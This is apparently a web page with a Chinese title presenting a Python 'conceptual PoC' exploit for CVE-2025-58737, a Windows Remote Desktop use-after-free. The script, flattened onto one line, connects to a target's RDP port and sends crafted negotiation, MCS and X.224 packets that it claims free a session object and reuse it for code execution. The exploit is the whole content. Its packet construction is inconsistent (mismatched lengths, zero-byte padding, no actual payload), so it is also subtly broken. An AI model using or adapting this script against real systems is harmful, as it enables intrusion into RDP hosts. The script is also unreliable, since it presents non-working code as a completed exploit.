CVE-2025-58737：Windows远程桌面Use After Free本地代码执行漏洞

# CVE-2025-58737 - Windows Remote Desktop Use After Free PoC # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires specific environment setup import socket import struct import sys class RDPUAFExploit: """ Conceptual PoC for CVE-2025-58737 Windows Remote Desktop Use After Free Vulnerability """ def __init__(self, target_host, target_port=3389): self.target_host = target_host self.target_port = target_port self.session_id = None def build_rdp_negotiation_request(self): """Build RDP Negotiation Request packet""" # TPKT Header tpkt_header = struct.pack('!BBH', 3, 0, 11) # X.224 Connection Request x224_cr = struct.pack('!BB', 0x26, 0) + b'\x00\x00\x00\x00' # RDP Negotiation Request rdp_neg = struct.pack('<I', 0x00000001) # type rdp_neg += struct.pack('<I', 0) # length rdp_neg += struct.pack('<I', 0x00000000) # requestedProtocols return tpkt_header + x224_cr + rdp_neg def trigger_uaf(self): """ Trigger Use After Free by sending crafted RDP packets that cause object deallocation followed by access to the freed memory region. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target_host, self.target_port)) # Step 1: Send negotiation request print("[*] Sending RDP Negotiation Request...") sock.send(self.build_rdp_negotiation_request()) # Step 2: Receive response response = sock.recv(4096) print(f"[*] Received {len(response)} bytes") # Step 3: Send malformed channel definition to trigger UAF # This sequence causes the RDP component to free a session # object while still maintaining a reference to it print("[*] Triggering UAF via crafted channel data...") malicious_payload = self._craft_uaf_payload() sock.send(malicious_payload) # Step 4: Re-access the freed object to achieve code execution print("[*] Accessing freed object to trigger code execution...") trigger_payload = self._craft_trigger_payload() sock.send(trigger_payload) sock.close() print("[+] Exploit completed") except Exception as e: print(f"[-] Error: {e}") def _craft_uaf_payload(self): """Craft payload to trigger object deallocation""" # Malformed MCS Connect-Initial with oversized domain parameters payload = b'\x03\x00' # TPKT version payload += struct.pack('!H', 0xFFFF) # Oversized length payload += b'\x7f\x65' # X.224 type payload += b'\x00\x00\x00\x00\x00' payload += b'\x04\x01\x00' # MCS Connect-Initial payload += b'\x00' * 1024 # Padding to trigger heap operations return payload def _craft_trigger_payload(self): """Craft payload to access freed memory""" # Access the previously freed channel object payload = b'\x03\x00' payload += struct.pack('!H', 100) payload += b'\x7f\x66' # X.224 type payload += b'\x00' * 50 return payload if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host>") sys.exit(1) exploit = RDPUAFExploit(sys.argv[1]) exploit.trigger_uaf()